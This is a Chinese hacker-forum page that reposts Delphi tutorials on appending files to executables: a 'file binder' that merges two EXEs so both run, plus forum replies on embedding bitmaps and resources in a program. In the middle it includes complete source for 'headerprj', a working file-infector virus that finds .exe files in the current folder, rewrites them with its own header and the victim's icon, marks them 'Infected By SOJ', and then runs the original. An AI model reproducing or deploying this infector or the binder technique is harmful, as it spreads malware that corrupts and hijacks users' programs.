HanDs
NO.2

[Delphi文章] 把Delphi程序嵌入到其他程序中 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

怎样把Delphi程序嵌入到其他程序中?2007-02-21 15:17某个bbs站上有文章:(想来作者不会介意我装载吧!)
==============================================================================
                             文件合并器的制作方法 
                                                      作者:王昊
 
    从想到做文件合并器到现在已经有一个多月了,但是一直没有静下心来想它的实现方法. 昨天看数学看烦了, 我终于忍不住扔开了书,开始着手"文件合并器"的编制.3小时后,终于有了眉目,今天又改了一下.现在终于能够和 各位分享我的喜悦了.我愿意将我的方法写给大家,也希望各位高手不吝赐教.
    先看看我们的目的:编写一个程序A,它能够将两个可执行程序B和C合并在一起,形成
一个新的可执行程序D. 要让用户执行D的时候,相当于同时运行B和C两个程序.
    我的开发工具:我现在能够用VB和DELPHI中的任何一个开发这个软件.这次我用的是
DELPHI.如果你需要,也可以用VC或BCB来完成.
    下面我用这三个小时中我考虑的东西为线索来讲讲主要的原理.
     一. 我的疑惑.
        将两个可以执行的程序合并在一起会变成什么东西?这是我的第一个疑惑.要解
决这个问题,首先要学会 如何将两个文件合并在一起.我想到了内存流(MemoryStream),它能极方便的完成这个步 骤.假设有两个可执行文件f1, f2.现在要把他们合并在一起.下面给出原代码.
        var
          strmSource,strmDest:TMemoryStream;
        begin
          //先读f1
          strmSource:=TMemoryStream.Create;
          strmSource.loadfromfile(f1);
          //拷贝到strmdest
          strmDest:=TMemoryStream.Create;
          strmDest.copyfrom(strmSource,strmSource.size);
          strmSource.clear;
          //再读f1
          strmSource.loadfromfile(f2);
          //拷贝到strmdest
          strmDest.seek(strmDest.size,soFromBeginning);
          strmDest.copyfrom(strmSource,strmSource.size);
          strmSource.free;
          //这时strmDest里面便是两个文件合并后的内容了.将它保存为文件
          strmDest.SaveToFile('dest.exe');
          strmDest.free;
        end;
       我惊讶的发现,执行dest.exe就相当于执行f1!!为了确认,我将原代码中f1和f2的
读入顺序对调,得到的新的dest.exe执行竟然相当于执行f2!!(此处省略了N个感叹号).我又用同样的方法在f1
的后面添加很多无意义的字节,得到的新的f1运行竟然很正常.现在我们知道了,将两个或者多个可执行文件合并在 一起,得到的新文件执行时只是执行第一个文件.这是非常关键的一步. 
 
二.如何分离?
        合并没有问题了,如何分离呢?在知道原来的两个文件的大小的情况下,这很容易
作到.假设i1和i2是原来两个文件的大小(字节).合并后的文件是"dest.exe".
        var
          strmSource,strmDest:TMemoryStream;
        Begin
          //先读dest.exe
          strmSource:=TMemoryStream.Create;
          strmSource.loadfromfile('dest.exe');
          //拷贝f1到strmdest
          strmDest:=TMemoryStream.Create;
          strmDest.copyfrom(strmSource,i1);
          //保存f1
          strmDest.SaveToFile(f1);
          strmDest.clear;
          //拷贝f2到strmdest
          strmSource.seek(i1,soFromBeginning);
          strmDest.copyfrom(strmSource,i2);
          strmDest.SaveToFile(f2);
          strmDest.free;
          strmSource.free;
       end;
   
三.总体思路.
        在解决了上述问题后,我的总体思路就出来了.假设我给用户的程序是A,它能把
B和C合并起来得到D.那么D具有什么特征呢?D应该至少由三个部分组成(请注意是"至少"):第一部分是一个可
执行的程序,我把它叫做 标准程序S,他能将D的第二部分和第三部分(就是原来的可执行文件B和C)读出来,保存在磁盘上,然后执行他们.但大家看了"如何分离"后应该知道,只有我们知道了B和C的长度时,才能方便的从D中读出他们.而为了使D可以在另一个用户的机子上也能够运行,我认为B和C的长度信息应该保存在D的最后.于是,D应该具有四个部分:
    1:    S
    2:    B
    3:    C
    4:    长度信息
    那么,既然我给用户的程序是A,那么这里的标准程序又从何而来呢?标准程序又应该保存在哪里呢?
    有两个办法.第一,给用户的程序包含两个文件,一个是A,一个是S.但我觉得这样不够 爽.于是我用了另一个方法: 将S连在A的后面,成为A'.
    于是乎,当用户执行A'时,A'要求用户选择两个可执行文件B和C.当用户点击确定时,
A'将它自身所带的S与B和C合并起来,形成D.然后,用户便可以执行D了,这时的D并不依赖于A'.D执行时,实际上执行的是它的第一部分S,S首先从D的最后取得长度信息,然后根据这些长度信息读出B和C,保存于硬盘上的某个目
录.然后调用ShellExecute执行他们.这样就达到了我们的目的.
    那么,长度信息如何定义呢?如何将S连在A的后面呢?S如何完成自身的功能呢?这就是
我下面要讲的.
 
四.保存长度信息.
       我先讲一讲如何把一个字符串写入内存流.其实我自己也不知道如何直接将一个
字符串的内容读到内存流中,于是我采取了先将字符串内容写入一个临时文件中,然后用loadformfile将文件内容读入内存流中.
       然而,我们必须知道连接在D后面的长度信息的具体长度,也就是说用几个字节保
存,才能让S读出长度信息.我考虑再三,决定用32个字节来表示每个文件的长度,虽然大多数情况下,文件大小不会超出100M.
       看看这里的代码:
        var
          strmSource,strmDest:TMemoryStream;
          s1,s2:string;
          f:TextFile;
        begin
          //先用上面的方法将S和B与C的内容写入strmdest,现在要在strmDest里面添 加长度信息
          //假设s1,s2里放有B和C的大小,先把他们变为32个字节.
          while length(s1)<32 do
            begin
              s1:='0'+s1;
            end;
          while length(s2)<32 do
            begin
              s2:='0'+s1;
            end;
          //s1存入文件
          assignfile(f,'tmp');
          rewrite(f);
          try
            write(f,s1);
          finally
            closefile(f);
          end;
          //文件内容读入strmSource
          strmSource:=TMemoryStream.Create;
          strmSource.loadfromfile('tmp');
          //加到strmDest后面
          strmDest.copyfrom(strmSource,strmSource.size);
          strmSource.clear;
          deletefile('tmp');
          //s2存入文件
          assignfile(f,'tmp');
          rewrite(f);
          try
            write(f,s2);
          finally
            closefile(f);
          end;
          //文件内容读入strmSource
          strmSource:=TMemoryStream.Create;
          strmSource.loadfromfile('tmp');
          //加到strmDest后面
          strmDest.copyfrom(strmSource,strmSource.size);
          strmSource.free;
          deletefile('tmp');
        end;
         利用代码里的方法,便可将长度信息保存在D的最后了.
   
五.标准文件.
       现在我想大家感到疑惑的就是标准文件S了,这到底是个什么玩意儿?怎么做它?
       其实,我们在前面已经讲过了,"S首先从D的最后取得长度信息,然后根据这些长度
信息读出B和C,保存于硬盘上的某个目录. 然后调用ShellExecute执行他们".要注意这里的S和D是在一起的,S只不过是D的第一部分.他们的文件名是一样的了.于是就变成了S的功能是从它自身的后面取得长度信息,然后根据这些长度信息读出B和C,保存于硬盘上的某个目录.然后调用ShellExecute执行他们.我想,具体的方法我前面已经讲的很清楚了.只要记住长度信息是分别用32个
字节表示的就行了.
 
六.完整步骤
       先编写S,然后编写A.再写一个程序E将S和A连接起来,S放在A的后面,成为A'.将A
'发布给用户.
七.注意事项.
       这个程序技巧性的确很强,但是我认为正常的人很少会用它.但对那些想散播病毒的人来说,却是一大利器.因此,我在这里要警告这部分人:制作或散发病毒是违反法律的,将受到法律允许范围内的
最高处罚.请好自为之。
       而该程序的思路则有很巧妙的应用。你可以将DLL或其他需要的文件连接在你的程序后面.让你的程序运行时先解出这些文件。这样就能发布只有一个执行文件的程序了,比较方便,可以帮助VB程序员发布伪“绿色软件”
       好了,就写到这里。有空我再写点经验出来。
       谢谢大家赏脸看我的文章。

 
 
 
我的程序也是给exe加一个文件头,只是论证一下可行性,离病毒那可差的远了:)
Code here:
//headerprj.dpr
program headerprj;
uses
  Windows,Classes,SysUtils,Graphics,ShellAPI;
const
  HEADERSIZE=78336;
  ICONOFFSET=$11EB8;
  INFECTFLAG='Infected By SOJ';
  ID=$66666666;
{$R *.RES}
var
  tmpFile:string;
  si:STARTUPINFO;
  pi:PROCESS_INFORMATION;
  sr:TSearchRec;
  Counter:Integer;
//routines
procedure CopyStream(Src:TStream;sStartPos:Integer;
  Dst:TStream;dStartPos:Integer;Count:Integer);
var
  sCurPos,dCurPos:Integer;
begin
  sCurPos:=Src.Position;
  dCurPos:=Dst.Position;
  src.Seek(sStartPos,0);
  dst.Seek(dStartPos,0);
  dst.CopyFrom(src,Count);
  src.Seek(sCurPos,0);
  dst.Seek(dCurPos,0);
end;{CopyStream}
function Getmyname:string;
var
 cmdline:String;
  myname:Array [0..255] of Char;
 i,j:integer;
begin
  i:=1;j:=0;
  cmdline:=GetCommandLine;
  while cmdline[i]<>chr(0) do
  begin
   if cmdline[i]<>'"' then
    begin
     myname[j]:=cmdline[i];
      inc(j);
    end;
    inc(i);
  end;
  myname[j-1]:=chr(0);
  Result:=strpas(@myname);
end;{Getmyname}
function GetTempFullName:String;
var
  tmpPath:Array[1..256]of Char;
  tmpname:Array[1..256]of Char;
begin
  GetTempPath(256,@tmpPath);
  GetTempFileName(@tmpPath,'PQR',0,@tmpName);
  Result:=StrPas(@tmpName);
end;{GetTempFullName}
procedure ExtractFile(filename:string);
var
  sStream,dStream:TFileStream;
begin
  sStream:=TFileStream.Create(Getmyname,fmOpenRead or fmShareDenyNone);
  dStream:=TFileStream.Create(filename,fmCreate);
  sStream.Seek(HEADERSIZE,0);
  dStream.CopyFrom(sStream,sStream.Size-HEADERSIZE);
  sStream.Free;
  dStream.Free;
end;
procedure fillstartupinfo(var si:STARTUPINFO;state:WORD);
begin
 si.cb := sizeof(si);
 si.lpReserved := nil;
 si.lpDesktop := nil;
 si.lpTitle := nil;
 si.dwFlags := STARTF_USESHOWWINDOW;
 si.wShowWindow := state;
 si.cbReserved2 := 0;
 si.lpReserved2 := nil;
end;
function InfectFile(Filename:TFilename):Boolean;
var
  hdrStream,srcStream:TFileStream;
  icoStream,dstStream:TMemoryStream;
  iID:Longint;
  aIcon:TIcon;
begin
  try
  if Filename='headerprj.exe' then exit;
  srcStream:=TFileStream.Create(Filename,fmOpenRead);
  srcStream.Seek(-4,2);
  srcStream.Read(iID,4);
  if (iID=ID) or (srcStream.Size >1000000)then
  begin
    srcStream.Free;
    Result:=False;
    exit; //如果感染过了则退出
  end;
  srcStream.Free;
  try
  icoStream:=TMemoryStream.Create;
  aIcon:=TIcon.Create;
  aIcon.ReleaseHandle;
  aIcon.Handle:=ExtractIcon(Hinstance,PChar(Filename),0);//被感染文件的图标
  aIcon.SaveToStream(icoStream);
  aIcon.Free;
  srcStream:=TFileStream.Create(FileName,fmOpenRead);
  hdrStream:=TFileStream.Create(GetMyName,fmOpenRead or fmShareDenyNone);//头文件
  dstStream:=TMemoryStream.Create;
  CopyStream(hdrStream,0,dstStream,0,HEADERSIZE);
  CopyStream(icoStream,22,dstStream,ICONOFFSET,$2e8);
  CopyStream(srcStream,0,dstStream,HEADERSIZE,srcStream.Size);
  dstStream.Seek(0,2);
  iID:=$66666666;
  dstStream.Write(iID,4);
  finally
  icoStream.Free;
  srcStream.Free;
  hdrStream.Free;
  dstStream.SaveToFile(Filename);
  dstStream.Free;
  Result:=True;
  end;
  except;
  end;
end;
//主程序开始
begin
  Counter:=2;
  if FindFirst('*.exe',faAnyFile,sr)=0 then
  begin
    InfectFile(sr.Name);
    while (FindNext(sr)=0) and (Counter>0) do
    begin
      if InfectFile(sr.Name) then Dec(Counter);
    end;
  end;
  FindClose(sr);
  if ExtractFileName(Getmyname)='headerprj.exe' then exit;
  tmpFile:=GetTempFullname;
  ExtractFile(tmpFile);
  fillstartupinfo(si,SW_SHOWDEFAULT);
  CreateProcess(PChar(tmpFile),PChar(tmpFile),nil,nil,True,0,nil,'.',si,pi);
end.
ps:文件名一定要叫headerprj.exe否则会有问题,看看代码就知道了

 
 
 
 
 
想将.tex.bmp等类型的文件做成.exe文件。看过人家的软件,心中羡慕,痒痒。谁解析一下?
最好有原代码。c,delphi的都可以。给好多的分分啊  ^_^,我来试试?
1.如果只是把一幅图作在文件中.最简单了.把显示图形的代码写好,然后把图形文件
LOATFROMFILE,写到自己程序的最后,在文件尾部把图形数据的起点标识.OK了.
比如自释放的文件等等,都可以这样做.
2.如果做个单一的安装程序,之有一个exe.文件,方法和上面差不多.只是在标识上要有
一定的格式.比如,最后两个字节是表示有多少个文件,文件信息表的偏移量.
至于文件信息表,可以包含文件在EXE中的偏移量.长度,文件名.这就够了.当然,可以是经过
压缩的数据,解压缩后savetofile 就行了 .
制作方法:要写两个程序,一个是专门在自己的EXE尾部找数据文件信息.根据约定的已知
格式,循环读出每个文件的数据,解压缩后savetofile.
一个是制作程序,上个程序做好后,本制作程序把要打包的文件读入内存stream中,
计算好长度后,把每个文件的名字,长度,偏移量,写到解压缩程序的尾部!
制作两个程序:一个主程序,一个辅程序。主程序的作用是往辅程序的尾部添加资源,
即.tex、.bmp等文件。辅程序则负责对这些资源进行处理,如显示、编辑等。以下是
它们的例程。
主程序:
procedure TForm1.FormCreate(Sender: TObject);
var
  Target,str:TFilestream;
  Size:Integer;
Begin
  try
    str:=TFileStream.Create('My.bmp',fmOpenRead or fmShareExclusive);
    Target := TFilestream.create('d:\Project1.exe', fmOpenWrite or fmShareExclusive);
    // d:\Project1.exe 为辅程序
    Target.Seek(0,soFromEnd);
    //往辅程序的尾部添加资源
    Target.CopyFrom(str,0);
    Size:=str.Size + Sizeof(Size);
    //计算资源大小,并写入辅程序尾部
    Target.WriteBuffer(Size,Sizeof(Size));
  finally
    Target.Free;
    str.Free;
  end;
end;
辅程序:
procedure TForm1.FormCreate(Sender: TObject);
var
  Source:TFilestream;
  str:TMemoryStream;
  Size:Integer;
Begin
  try
    str:=TMemoryStream.Create;
    Source := TFilestream.create(Application.ExeName, fmOpenRead or fmShareDenyNone);
    Source.Seek(-Sizeof(Size),soFromEnd);
    //读出资源大小
    Source.ReadBuffer(Size,SizeOf(Size));
    //定位到资源的开始位置
    Source.Seek(-Size,soFromEnd);
    //取出资源并存到文件中
    str.CopyFrom(Source,Size - SizeOf(Size));
    str.SaveToFile('Temp.bmp');
    //显示
    Image1.LoadFromFile('Temp.bmp');
  Finally
    str.Free;
    Source.Free;
  end;
end;

来自:Lucker, 时间:2000-11-29 13:38:00, ID:406428有一点小错误:Image1.LoadFromFile('Temp.bmp');应改为:
image1.Picture.LoadFromFile('Temp.bmp'); 
来自:Sachow, 时间:2000-11-29 16:31:00, ID:406564有一点错:
procedure TForm1.Button1Click(Sender: TObject);
var
  Source:TFilestream;
  str:TMemoryStream;
  Size:Integer;
begin
  try
    str:=TMemoryStream.Create;
    Source := TFilestream.create(Application.ExeName, fmOpenRead or fmShareDenyNone);
    Source.Seek(-Sizeof(Size),soFromEnd);
    //读出资源大小
    Source.ReadBuffer(Size,SizeOf(Size));
    //定位到资源的开始位置
    Source.Seek(-Size,soFromEnd);
    //取出资源并存到文件中
<font color=red>    str.CopyFrom(Source,Size - SizeOf(Size)); </font>
<font color=blue>   //上面这一句报错,说是'Stream read error'
    //我执行的是被写入了图片的那个执行程序,对吗? </font>
    str.SaveToFile('Temp.bmp');
    //显示
    Image1.Picture.LoadFromFile('Temp.bmp');
  Finally
    str.Free;
    Source.Free;
  end;
end;
 
来自:tinytao, 时间:2000-11-29 18:56:00, ID:406768Sachow:我Test了,代码正确。
上面的报错是因为主程序没有向Project1.exe加入.BMP 
来自:Sachow, 时间:2000-11-30 10:03:00, ID:407368我已经往“Project1.exe”那个文件里写了一个BMP图片了,只写了一个。
写完后新文件大小=原文件大小+图片大小。
如果我一次写了多个图片(或是其它类型的文件),该怎样读出想要的那一个,而不是
第一个呢? 
来自:Sachow, 时间:2000-11-30 11:23:00, ID:407437成功了!代码是没错的,先前是我自己搞错了。感谢lucker,稍后请再拿分 
来自:Sachow, 时间:2000-11-30 12:01:00, ID:407481我做了一点小的改动,就是不需要文件交换过程,直接从流中读出图片,
但也有一点不足是只能处理BMP。
procedure TForm1.Button1Click(Sender: TObject);
var
  Source:TFilestream;
  Size:Integer;
begin
    Source := TFilestream.create(Application.ExeName, fmOpenRead or fmShareDenyNone);
    Source.Seek(-Sizeof(Size),soFromEnd);
    //读出资源大小
    Source.ReadBuffer(Size,SizeOf(Size));
    //定位到资源的开始位置
    Source.Seek(-Size,soFromEnd);
    Image1.Picture.Bitmap.LoadFromStream(Source);
    Source.Free;
end;
 
来自:Lucker, 时间:2000-11-30 12:19:00, ID:407510to Sachow:
当然,上面的程序只是基础,但加以扩充。你就可以实现往Project1.exe中加入任意复杂的
数据,方法如下(其实也是压缩程序的原理之一):
首先你得定义两个记录 :
TFileRec = record
              name : shortstring;
              start : longint;
              Size:Longint;
           end;
TArchiveRec = record
                   FileCount:longint;
                 end;
TFileRec 用于记录每个文件的信息。(以上两个记录的具体内容可自定,但必须能确定
记录的大小,也即不能在记录中有string类型等不能确定大小的字段),
TArchiveRec 用于记录插入文件的总个数。
往Project1.exe中添加资源时,可依照以上的方法进行,即把资源的数据一个一个地往
Project1.exe的尾部添加.但在加入一个资源之前,你必须先得到当前的位置(可通过
Target.Size或先移到Target的尾部,再通过Position属性得到),然后写入该文件对应
的TFileRec记录的Start字段,用于记录该资源在Project1.exe中的起始位置,在加入全部
资源以后,你再设置TArchiveRec记录的FileCount字段,然后按加入资源的顺序往Project1.exe
尾部写入对应的TFileRec,最后再写入TArchiveRec记录。从而完成了添加资源操作。
在Project1.exe中读资源时,要先在Project1.exe的尾部读出TArchiveRec记录以得到资源的
个数,然后再根据资源的个数依次读出TFileRec记录,从而得到每个文件的Start等信息,
这样就可以正确地读出每个资源的数据了。之所以可以这样读,是因为TArchiveRec和TFileRec记录
的大小是可以确定的(通过Sizeof函数),所以你可以正确定位。
其实这种程序的难点就是如何定位,只要实现了正确定位,那一切就OK了。

来自:pass, 时间:2000-12-17 0:15:00, ID:419043放置任意的文件到Delphi的EXE文件里面
通常在Delphi的应用程序中,我们会调用到很多的资源,例如图片,动画(AVI),声音,甚至于别的执行文件。当然,把这些资源分布到不同的目录不失为一个好办法,但是有没有可能把这些资源编译成标准的windows资源从而链接到一个执行文件里面呢?
我们可以自己做一个RC文件,例如 sample.rc ,RC文件其实就是一个资源文件的描述文本,通过“记事本”程序创建就行了。然后可以输入一些我们要定义的资源,例如:
MEN BITMAP c:\bitmap\men.bitmap
ARJ EXEFILE c:\arj.exe
MOV AVI c:\mov.avi
然后用BRCC32把这个RC文件编译成sample.res(真正的资源文件)。
在Delphi的工程文件中使用 $R 编译指令让Delphi包括资源到EXE文件里面。
{$R sample.res}
这样我们就可以在这个单一的执行文件中调用资源了。举例如下:
EXEFILE:
procedure ExtractRes(ResType, ResName, ResNewName : String);
var
Res : TResourceStream;
begin
Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType)); Res.SavetoFile(ResNewName);
Res.Free;
end;
AVI:
procedure LoadAVI;
begin
{Avi1是一个TAnimate类}
Avi1.ResName:='AVI';
Avi1.Active:=True;
end;

 
 
来自:zyy04, 时间:2001-2-4 14:51:00, ID:448476请继续或结束 
来自:beta, 时间:2001-2-5 2:57:00, ID:448996这样做做出来的都太大了(接近200K),不符和原意吧,不如做一个不用Form的主程序,
才2xK而已,只是不能用 流 格式了,可以用经典的 assignfile 啊
另外,用添加资源的方法,辅助程序不是要调用dcc32 ?麻烦,何况,小的主程序又
不能用 流 格式读取资源,不如原样追加更好一些(因为我做过:-p) 
来自:sun77wind, 时间:2001-2-5 8:47:00, ID:449068没那么费事吧,用一个RichEdit,将Text内容输入进去,一编译,就行了。
用image在设计期将.bmp调入,编译,运行,就可以不要原文件了,岂不简单。  


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
D el ph i 程序 嵌入 其他 程序
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组